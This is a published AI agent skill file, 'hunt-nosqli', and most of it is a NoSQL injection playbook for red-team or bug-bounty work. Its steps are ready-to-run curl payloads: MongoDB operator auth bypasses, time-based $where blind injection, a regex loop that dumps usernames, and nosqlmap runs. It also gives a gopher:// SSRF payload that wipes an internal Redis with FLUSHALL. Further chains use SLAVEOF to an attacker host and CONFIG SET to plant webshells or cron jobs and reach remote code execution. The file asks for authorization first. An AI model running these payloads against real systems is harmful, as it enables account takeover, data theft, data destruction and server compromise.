<< All versions

Skill v1.1.0

currentAutomated scan100/100
uphiago/recon-skills/hunt-nosqli

+2 new

──Details
PublishedNovember 14, 2026 at 08:42 PM
Content Hashsha256:2372c0eea8047cd2...
Git SHAfd7e2e8105e8
Bump Typepatch
Compare with v1.0.0
──Files
Files (1 file, 9.0 KB)
SKILL.md9.0 KBactive
SKILL.md · 226 lines · 9.0 KB

name: hunt-nosqli description: Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages. version: 1.1.0 revision_date: 2026-07-25 license: MIT platforms: [linux] metadata: tags: [nosql, injection, hunt, redteam] category: redteam


HUNT-NOSQLI — NoSQL Injection

When to Use

  • Target uses MongoDB/Mongoose, CouchDB, Redis.
  • Shows NoSQL error messages.

Prerequisites

  • Explicit authorization, target boundaries, and rate limits for the target.
  • Tooling: curl.
  • A writable evidence directory: export OUTPUT_DIR="${OUTPUT_DIR:-./output}" && mkdir -p "$OUTPUT_DIR".
  • For any state-changing step (writes, uploads, credential attempts), obtain explicit confirmation immediately before the command.

How to Run

bash
# Set once per engagement; every step below uses these.
TARGET="example.com" # or the engagement target
export OUTPUT_DIR="${OUTPUT_DIR:-./output}"
# Operator injection in JSON body
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Regex wildcard — match any username
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
# ne (not equal) bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'

Procedure

The phases below are the procedure. Keep each probe bounded (--max-time), record evidence beneath OUTPUT_DIR, and stop at the stop-conditions listed in Pitfalls.

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

  • MongoDB auth bypass — {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
  • $where JS injection — if $where is enabled: blind injection → data exfil
  • Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
  • Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

SignalVector
MongoDB error messages in responseOperator injection
mongoose / monk in JS bundlesODM patterns
X-Powered-By: ExpressNode.js + MongoDB common stack
CouchDB/_utils UI exposedFuton/Fauxton admin
Redis port 6379 open (via SSRF)CONFIG SET / SLAVEOF
Elasticsearch :9200 openScript injection

Step-by-Step Hunting Methodology

Phase 1 — Auth Bypass (MongoDB)

bash
# Operator injection in JSON body
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Regex wildcard — match any username
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
# ne (not equal) bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
# in array bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 — URL Parameter Injection

bash
# Array notation (Express/PHP-style)
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
# POST form data
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/login" \
--data "username[$gt]=&password[$gt]="

Phase 3 — $where Blind Injection (time-based)

bash
# Test if $where is enabled (time-based detection, 5s delay)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed
# Blind data exfil (username starts with 'a'?)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 4 — Data Dump via Regex

bash
# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/users \
-H "Content-Type: application/json" \
-d "{\"username\": {\"\$regex\": \"^$c\"}}")
echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 — Automation

bash
# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1
# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 — Redis via SSRF

bash
# If SSRF found, probe internal Redis via gopher://
curl --max-time 30 --connect-timeout 10 "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

Bypass Table

DefenseBypass
JSON.parse rejects objectsUse array: password[$ne]=x (URL params)
Sanitizes $Unicode: $gt
Blocks operator keysNested objects deeper in structure

Chain Table

NoSQLi findingChain toImpact
Auth bypassAdmin panel accessFull admin control
User enum via regexCredential stuffingMass ATO
$where enabledArbitrary JS in DB processData exfil or DoS
Redis via SSRFCONFIG SET / SLAVEOFWebshell or data exfil

Validation

✅ Auth bypass: logged in without valid credentials, received valid session token ✅ Data dump: returned users/documents you shouldn't have access to ✅ Blind injection: confirmed via time-delay (>4 seconds consistent)

Severity:

  • Auth bypass as admin: Critical
  • User collection dump: High
  • Blind injection (no useful exfil): Medium

Pitfalls

  • NoSQL injection without data exfiltration — blind NoSQLi returning true/false is harder to exploit. Need data extraction or auth bypass.
  • $regex injection without enumeration proof — if $regex is injectable, demonstrate time-based or boolean-based data extraction.
  • MongoDB $where injection — $where evaluates JavaScript. This is the highest-impact NoSQL injection variant.
  • Operator injection vs value injection — injecting {"$gt":""} in a value field vs injecting operators in the query structure are different attack types.

Verification

  • The payload must change behavior relative to a control request: auth bypass, extra documents, or a distinct error.
  • Operator injection counts only when the injected operator changes the result set or auth state, not on a 200 alone.
  • Requests, responses, UTC timestamps, and tool versions are recorded beneath ${OUTPUT_DIR:-./output}.

Related Skills

  • `hunt-sqli` — Traditional SQL injection complements NoSQL; test both on the same parameter. Chain primitive: param accepts both SQL ' OR 1=1-- and NoSQL {$gt:""} — test SQL first, then NoSQL operator injection.
  • `hunt-auth-bypass` — NoSQLi login bypass ({\"$ne\":\"\"}) is an auth-bypass primitive, not a data-read. Chain primitive: NoSQLi $gt bypass → admin panel → chain to further privilege escalation.
  • `hunt-ssrf` — Redis via SSRF is the canonical NoSQL-injection-to-RCE path. Chain primitive: SSRF → gopher://redis:6379/_CONFIG SET... → cron write → RCE.
  • `hunt-rce` — $where JavaScript injection in MongoDB can reach child_process if the DB process has JS engine access. Chain primitive: $where with sleep(5000) confirm → data exfil via JS this.password → admin hash crack.
  • `security-arsenal` — Pull the NoSQL payload tree: $gt, $ne, $regex, $nin, $where, $exists operators, MongoDB auth-bypass JSON, PHP array injection param[$regex]=.* patterns.
  • `triage-validation` — Apply the Pre-Severity Gate. A NoSQL auth bypass that only logs in as the first user in a collection (usually a test/admin account) is Critical; one that logs in as a random user may be Medium if you can't target a specific victim.
← v1.0.0All versions